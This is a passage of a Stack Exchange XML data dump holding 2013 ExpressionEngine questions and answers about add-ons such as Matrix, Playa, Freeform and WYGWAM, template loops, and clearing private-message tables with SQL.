&lt;code&gt;{image}&lt;/code&gt; in various combination with &lt;code&gt;{related_article:}&lt;/code&gt;. But this is not working. When I leave out the related_article in frot of each of the three tags, I get the intro image from the main article. So I need an identifier, that points to the child entry.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-08-21T09:21:54.963" LastActivityDate="2018-12-17T14:02:30.540" Title="Krea Content Elements Field and EE 2.6.1 Relationships Field - how to use parts of an article in the related articles section of a Single Entry Page" Tags="|custom-fields|relationships|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12976" PostTypeId="1" AcceptedAnswerId="12995" CreationDate="2013-08-21T09:21:07.207" Score="2" ViewCount="58" Body="&lt;p&gt;This is my first EE build. I'm building a system that allows users to create content entries to be displayed anywhere on the site and in various different display formats (eg: featured, compact, thumbnail etc.). One entry could appear on several different pages and look different depending what display type it was given for that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have already set up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Create entries in a &quot;Content&quot; channel with various fields like rich text, images, links etc.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know EE Relationships will do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Assign any number of those entries in any order to an entry in the &quot;Pages&quot; channel&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I NEED to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;Associate a &quot;Display Type&quot; with each of those entries at the time of relating them to a page&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would allow me to share those entries across the site, but separate their display types from the data without that being done in templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a combination of Playa, Matrix, Low Variables or any other add-on will help, I'd love to know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to get purchase orders every time I spend an tiny amount of money so it's difficult to purchase add-ons unless I really know I can use it. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1927" LastEditorUserId="1927" LastEditDate="2013-08-21T11:40:15.237" LastActivityDate="2013-08-21T18:29:03.130" Title="Can I relate entries AND assign extra data to those entries with P&amp;T Playa, Matrix, or anything else?" Tags="|matrix|playa|pixelandtonic|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12977" PostTypeId="1" AcceptedAnswerId="13010" CreationDate="2013-08-21T09:33:47.973" Score="2" ViewCount="26" Body="&lt;p&gt;Is there a painless way to reset messages their related data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is to delete everything and clean up data and start with a clean slate, somewhat like what &lt;code&gt;TRUNCATE&lt;/code&gt; does to a MySQL table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to do this is to remove some bad data deliberately injected because of  testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-22T07:13:17.947" Title="Resetting Private Messages data" Tags="|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12978" PostTypeId="2" ParentId="12936" CreationDate="2013-08-21T09:36:03.187" Score="0" Body="&lt;p&gt;Sounds like you may need to reinstall the add-on's themes. You should see a &quot;Save&quot; button at the very bottom of the form creation form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't vouch for EE (where I do sometimes encounter issues like this) but it works fine in Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which versions of EE and IE are you using?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-21T09:36:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12979" PostTypeId="1" CreationDate="2013-08-21T10:10:39.883" Score="2" ViewCount="88" Body="&lt;p&gt;I would like to use the fieldframe FF Matrix Bulk/Multiple Upload. Is there any way I can acquire Matrix version 1.3.5 or newer so I can use the Bulk add on?&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="1900" LastEditDate="2013-08-21T20:01:52.327" LastActivityDate="2013-08-23T07:47:06.900" Title="Is Matrix EE1 still available somewhere?" Tags="|matrix|pixelandtonic|ee1|bulk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12980" PostTypeId="1" CreationDate="2013-08-21T10:20:34.827" Score="2" ViewCount="225" Body="&lt;p&gt;I'm creating a form where a user can add named people with a Name, Address, Phone and Email. There's also a javascript in place that allows a user to add another row/person. When they click this, it reveals another set of fields for Name, Address, Phone and Email for the second person and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how would I then get this submitted into the form in the Control Panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone has built anything like this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-09-21T20:45:52.957" Title="FreeForm Pro form with &quot;add another row&quot; field" Tags="|solspace-freeform|javascript|solspace|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12982" PostTypeId="2" ParentId="12917" CreationDate="2013-08-21T11:37:06.473" Score="1" Body="&lt;p&gt;To get the most recent 4 images from a channel simply do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images channel=&quot;gallery&quot; limit=&quot;4&quot;}&#xA;&amp;lt;img src=&quot;{image:url}&quot; alt=&quot;{image:title}&quot;&amp;gt;&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-08-21T11:37:06.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12983" PostTypeId="1" AcceptedAnswerId="12987" CreationDate="2013-08-21T12:06:57.187" Score="2" ViewCount="4360" Body="&lt;p&gt;I am trying to set up Freeform Pro's dynamic Select list types (Country, State, and Load from Channel Field). I would like the first option to be an empty value / label pair like: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-- Select --&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For country and state I was able to insert a blank value by modifying the corresponding language files (hackish, but it could work). Or I could of course just copy and paste a regular value/label list into the Newline Delimited Textarea option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I cannot figure a way to include a blank value/label pair for the &quot;Load from Channel Field&quot; option. I would like to keep this dynamic so the list is automatically updated without forcing the client to remember to update the field as the channel data changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been able to find a better solution for inserting an empty value/label pair for the first entry in these dynamic selects? &lt;/p&gt;&#xA;" OwnerUserId="756" LastActivityDate="2014-02-14T19:17:54.433" Title="Setting blank value for first option for dynamic Freeform select &quot;load from channel field&quot; list type" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12984" PostTypeId="1" AcceptedAnswerId="12986" CreationDate="2013-08-21T12:43:58.600" Score="1" ViewCount="121" Body="&lt;p&gt;I was wondering how to properly call information from a channel but outside of the loop, so it doesn't repeat along with the entries. The output would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;entries&quot; class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;module&quot;&amp;gt;Entry 1&amp;lt;/div&amp;gt; // These modules go inside loop&#xA;  &amp;lt;div class=&quot;module&quot;&amp;gt;Entry 2&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;module&quot;&amp;gt;Entry 3&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;meta&quot; class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;aside&quot;&amp;gt;Content Related to channel&amp;lt;/div&amp;gt; // Outside of loop&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the ee template I want to wrap all that in a single &lt;code&gt;{exp}&lt;/code&gt; tag. I feel like that would be more efficient, in terms of code and server resources. Is that the right approach? If so how do I make the &lt;code&gt;#meta&lt;/code&gt; element not repeat with the loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the correct approach to have 2 &lt;code&gt;{exp}&lt;/code&gt; sections, one for the loop and one for the other part, and wouldn't this be inefficient at some point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1930" LastActivityDate="2013-08-21T13:47:14.673" Title="Writing markup outside of entries' loop" Tags="|channel-entries|loop|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12985" PostTypeId="2" ParentId="12984" CreationDate="2013-08-21T13:31:12.433" Score="3" Body="&lt;p&gt;You could wrap the meta data inside a conditional matching the count of 1 like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  limit=&quot;10&quot;&#xA;  channel=&quot;page&quot;&#xA;  dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;  &amp;lt;div class=&quot;module&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;&#xA;  {if count == &quot;1&quot;}&#xA;  &amp;lt;div id=&quot;meta&quot; class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;aside&quot;&amp;gt;Content Related to channel&amp;lt;/div&amp;gt; // Outside of loop&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2013-08-21T13:31:12.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12986" PostTypeId="2" ParentId="12984" CreationDate="2013-08-21T13:47:14.673" Score="1" Body="&lt;p&gt;The EE way is to do multiple exp:channel tags and pull out the relevant info. It's no big thing if you're site has average hits per day or you're not querying 1000 items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'new' way involves &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; which you basically set a series of variables to the fields you want to record in one pass of exp:channel tags then output those variables wherever you like but this question indicates you're fairly new to EE so best get familiar with the way EE works and move on to some more advanced functionality once your familiar with it.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-21T13:47:14.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12987" PostTypeId="2" ParentId="12983" CreationDate="2013-08-21T13:53:22.620" Score="2" Body="&lt;p&gt;I seem to recall on a large project I worked recently that if you're using Pro to create the actual form AND you're also using the code it generates or the simple {freeform:field:my_field_name} in your template then you're limited to no real options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build the template using traditional  you can insert a bogus &lt;code&gt;&amp;lt;option value=&quot;nothing&quot;&amp;gt;Select&amp;lt;/option&amp;gt;&lt;/code&gt; in the code but past that you either build it manually and have blank options or use the Freeform shortcut tags and deal with the lack of &quot;select&quot; options unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was some 6+ months ago so it may have changed.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-21T13:53:22.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12988" PostTypeId="1" CreationDate="2013-08-21T14:35:26.517" Score="1" ViewCount="91" Body="&lt;p&gt;My company’s name has an ampersand in it, so you can imagine it appears quite frequently in tags. The tag displays correctly on the page, but clicking it always leads you to a page with no results. There should be some &lt;code&gt;urlencode&lt;/code&gt; going on in the plugin to allow for things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my only option to modify the Tag add-on myself to &lt;code&gt;urlencode&lt;/code&gt; links and &lt;code&gt;urldecode&lt;/code&gt; on the results page?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-10-21T15:01:45.983" Title="Does Solspace’s Tag add-on not allow for tags with ampersands?" Tags="|add-on|solspace|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12990" PostTypeId="1" AcceptedAnswerId="12992" CreationDate="2013-08-21T16:36:37.667" Score="2" ViewCount="258" Body="&lt;p&gt;I have a {exp:freeform:form} in my template and would like to set the admin_notify paramter based on value selected from a radio button or drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I am building a simple form that needs to be send to the relevent person so the admin email address depends on the option selected..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-08-21T17:14:01.060" Title="How to set &quot;Admin Notify&quot; preference based on form input value?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12991" PostTypeId="2" ParentId="12313" CreationDate="2013-08-21T16:54:23.937" Score="0" Body="&lt;p&gt;I just ran across this issue, and used the instructions found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com/documentation/duplicate_pages_in_navigation/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/duplicate_pages_in_navigation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allowed me to create one single navigation, with duplicate pages listed in what ever order the client specified in the Structure module.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-08-21T16:54:23.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12992" PostTypeId="2" ParentId="12990" CreationDate="2013-08-21T17:14:01.060" Score="1" Body="&lt;p&gt;I think you're looking for the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_recipients&quot; rel=&quot;nofollow&quot;&gt;freeform recipients&lt;/a&gt; tag pair, which allows the user to select from a list of possible delivery options.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-21T17:14:01.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12993" PostTypeId="2" ParentId="12968" CreationDate="2013-08-21T18:10:19.907" Score="6" Body="&lt;p&gt;Easy to forget, but make sure you give the member group you want to edit the safecracker form the ability to edit that channel in member group prefs. &quot;Can post and edit entries in: [your_channel_name]&quot; selected for that member group (Edit Member Group &gt; Channel Posting Privileges). &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-08-21T18:10:19.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12994" PostTypeId="1" CreationDate="2013-08-21T18:16:02.217" Score="4" ViewCount="175" Body="&lt;p&gt;I'm using Zoo Visitor to handle membership on an EE2.6.1 site and my client would like members to have the option to add themselves to their mailchimp account when filling out the member registration form.&#xA;I'm seeing a number of mailchimp add-ons on Devot-ee but none that mention zoo visitor.&#xA;What are my options? Any one been succesful in doing this?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-02-04T20:13:44.100" Title="Need to add a Zoo Visitor to mailchimp on registration - options?" Tags="|zoo-visitor|mailchimp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12995" PostTypeId="2" ParentId="12976" CreationDate="2013-08-21T18:29:03.130" Score="1" Body="&lt;p&gt;If I understand your scenario correctly, you can do what you want using the combination of Matrix and Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, simplified scenario for a field in your Pages channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;Matrix&lt;/strong&gt; field with two columns: &lt;strong&gt;Display Type&lt;/strong&gt; and &lt;strong&gt;Content&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Display Type&lt;/strong&gt; is whatever kind of field you'd like to use for setting type (e.g., a select drop-down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Content&lt;/strong&gt; is a &lt;strong&gt;Playa&lt;/strong&gt; field with a relationship to the Content channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that match what you're asking? Happy to provide more details if you have questions about any of the nuances about this.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-21T18:29:03.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12996" PostTypeId="1" AcceptedAnswerId="13700" CreationDate="2013-08-21T18:46:12.177" Score="2" ViewCount="153" Body="&lt;p&gt;Not sure how this happened, but I was clicking the hell out the &quot;read More&quot; button to insert an excerpt break and nothing was happening. When I left the mouse pointer over the button to see what the tooltip said the text read &quot;Remove Formatting&quot; even though the icon is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the &quot;Remove Format&quot; button is now missing entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgJnf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WYGWAM Version 3.0.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full configuration screen (they're all displaying the same issue):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOuOS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="436" LastEditDate="2013-08-22T03:17:17.447" LastActivityDate="2013-09-11T23:05:18.913" Title="WYGWAM &quot;Read More&quot; button has been replaced with &quot;Remove Formatting&quot; somehow" Tags="|wygwam|pixelandtonic|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12997" PostTypeId="1" CreationDate="2013-08-21T20:14:48.643" Score="2" ViewCount="272" Body="&lt;p&gt;I am including a &lt;code&gt;form:action=&quot;&quot;&lt;/code&gt; parameter in my Freeform tag that runs a script. The script runs correctly, but the Freeform submission doesn't get saved to the database or emailed. Am I missing a step?&lt;/p&gt;&#xA;" OwnerUserId="1935" LastEditorUserId="69" LastEditDate="2013-08-22T04:26:38.277" LastActivityDate="2020-04-26T17:08:15.913" Title="Freeform form:action killing freeform" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12998" PostTypeId="2" ParentId="12994" CreationDate="2013-08-21T20:51:09.510" Score="2" Body="&lt;p&gt;Does this help from the Zoo Visitor docs? &#xA;&lt;a href=&quot;http://ee-zoo.com/docs/visitor/tutorial/mailchimp-integration.html&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/tutorial/mailchimp-integration.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-08-21T20:51:09.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12999" PostTypeId="2" ParentId="12994" CreationDate="2013-08-21T21:26:32.570" Score="1" Body="&lt;p&gt;I've tried to use that, but the extension is not really maintained, see &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/8499&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/8499&lt;/a&gt;. Would love to know if it works now, but I have my doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still fails, you could insert a script directly in ext.zoo_visitor.php on line 337 with the api file next to it:&lt;a href=&quot;http://www.joshuawinn.com/subscribe-to-mailchimp-newsletter-option-on-contact-form/&quot; rel=&quot;nofollow&quot;&gt;http://www.joshuawinn.com/subscribe-to-mailchimp-newsletter-option-on-contact-form/&lt;/a&gt; But then maintenance might be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up with a two step process: during subscription, if someone activates the tick box for mailing, after submit they will be directed to a page with hidden fields and the subscription button that leads directly to mailchimp. So that's one click extra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't see it was you Erwin, you can check it in Dutch here: &lt;a href=&quot;http://divmo.nl/klanten/login&quot; rel=&quot;nofollow&quot;&gt;http://divmo.nl/klanten/login&lt;/a&gt; (aanmelden)&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-08-21T21:26:32.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13000" PostTypeId="2" ParentId="12979" CreationDate="2013-08-21T21:32:50.307" Score="6" Body="&lt;p&gt;Pixel and Tonic obliged me with this request recently. Just &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot;&gt;purchase a license for Matrix&lt;/a&gt;, then email them to request the last available EE1-compatible version (I believe it's 2.5.3).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-21T21:32:50.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13001" PostTypeId="2" ParentId="12970" CreationDate="2013-08-21T21:36:10.297" Score="2" Body="&lt;p&gt;I think you are trying to upload using the image upload button. When you upload through the link button it might work. It's one of those things :-)&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-08-21T21:36:10.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13002" PostTypeId="1" AcceptedAnswerId="13150" CreationDate="2013-08-21T21:38:15.440" Score="3" ViewCount="278" Body="&lt;p&gt;I go into the Assets add-on, then to &quot;Update Indexes,&quot; select my image group and hit the &quot;Update Indexes&quot; button and get an immediate JS error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught SyntaxError: Unexpected token &amp;lt; assets.min.js?2.1.4:10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Any suggestions how to fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eeLaH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="436" LastEditDate="2013-08-22T14:24:52.903" LastActivityDate="2016-08-09T09:45:02.000" Title="When trying to update indexes a get a JS error and it never finished" Tags="|assets|pixelandtonic|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13003" PostTypeId="2" ParentId="12170" CreationDate="2013-08-21T22:25:48.200" Score="0" Body="&lt;p&gt;Since you mentioned that the images are &quot;manually selected,&quot; maybe it'd be effective to focus on making the manual selection process easier, rather than on the data mapping from brand + type to an image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, could you have an entry in EE for each brand page, and within that entry, a Matrix field that allows the editor to select both the type name and a product image? Something like that would be easy and efficient to output on the brand page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like doing this kind of thing, because it makes all of the relationships very explicit and easy to &quot;manually&quot; manage. But, if you have a lot of things (types, images) and/or editors who need the content to be much easier to access, this might not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea, that &quot;pulls&quot; images from the Product entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the product entries themselves, add specific products to a category named &quot;Representative&quot; (and, if necessary, have a separate &quot;representative image&quot; field). Then, in your template, pull entries that match brand &amp;amp; type &amp;amp; representative. E.g.,:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;3&amp;amp;7&amp;amp;8&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might either of those approaches work for you?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-08-21T22:25:48.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13004" PostTypeId="2" ParentId="12631" CreationDate="2013-08-21T23:37:58.820" Score="1" Body="&lt;p&gt;Answer (with thanks to Brandon for helping me figure it out): no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did get it to work by updating GWCode Syntaxhighlighter plugin to the current version of the underlying ckeditor-syntaxhighlight plugin.&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2013-08-21T23:37:58.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13005" PostTypeId="2" ParentId="12376" CreationDate="2013-08-21T23:46:56.270" Score="1" Body="&lt;p&gt;I got this to work.&#xA;Use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/&lt;/a&gt; for javascript syntax&#xA;highlighting.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/manual/api/autoloader.html&quot; rel=&quot;nofollow&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/manual/api/autoloader.html&lt;/a&gt;&#xA;for dynamic brush loading so you don't need 30 js files on every page&lt;/li&gt;&#xA;&lt;li&gt;ckeditor &lt;a href=&quot;http://ckeditor.com/&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/&lt;/a&gt; for the editor (use wygwam)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ckeditor.com/addon/syntaxhighlight&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/addon/syntaxhighlight&lt;/a&gt; for syntaxhighlighting in ckeditor&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-syntaxhighlighter&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-syntaxhighlighter&lt;/a&gt; to add&#xA;the ckeditor plugin to wygwam (except you need to update this to the&#xA;most recent ckeditor plugin)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then everything works...&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2013-08-21T23:46:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13007" PostTypeId="2" ParentId="12996" CreationDate="2013-08-22T03:01:00.440" Score="2" Body="&lt;p&gt;Try updating to &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;WYGWAM 3.1.2&lt;/a&gt; as it is EE 2.6+ compatible.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-22T03:01:00.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13008" PostTypeId="1" CreationDate="2013-08-22T05:39:22.187" Score="3" ViewCount="72" Body="&lt;p&gt;I have a fairly big site with substantial use of Assets2 in development and am wondering what general guidelines / best practices anyone can suggest for when moving this to the production server? Any gotchas or preparation?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-02-09T06:28:50.320" Title="Best Practice for moving a site using Assets" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13009" PostTypeId="2" ParentId="13002" CreationDate="2013-08-22T06:11:53.340" Score="1" Body="&lt;p&gt;what is the response you're getting? Probably not a valid JSON response and has some PHP errors preceding it, which would cause this.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-08-22T06:11:53.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13010" PostTypeId="2" ParentId="12977" CreationDate="2013-08-22T07:13:17.947" Score="3" Body="&lt;p&gt;To clean up message data, you will need to TRUNCATE following database tables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp_message_attachments&#xA;exp_message_copies&#xA;exp_message_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can run following SQLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TRUNCATE exp_message_attachments;&#xA;TRUNCATE exp_message_copies;&#xA;TRUNCATE exp_message_data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, EE stores number of private messages within exp_members database table (column private_messages). So you will need to run this SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_members SET private_messages = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please take a backup of database to avoid any other data problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Anyone can see my same answer &lt;a href=&quot;http://ellislab.com/forums/viewthread/237439/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; also.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-22T07:13:17.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
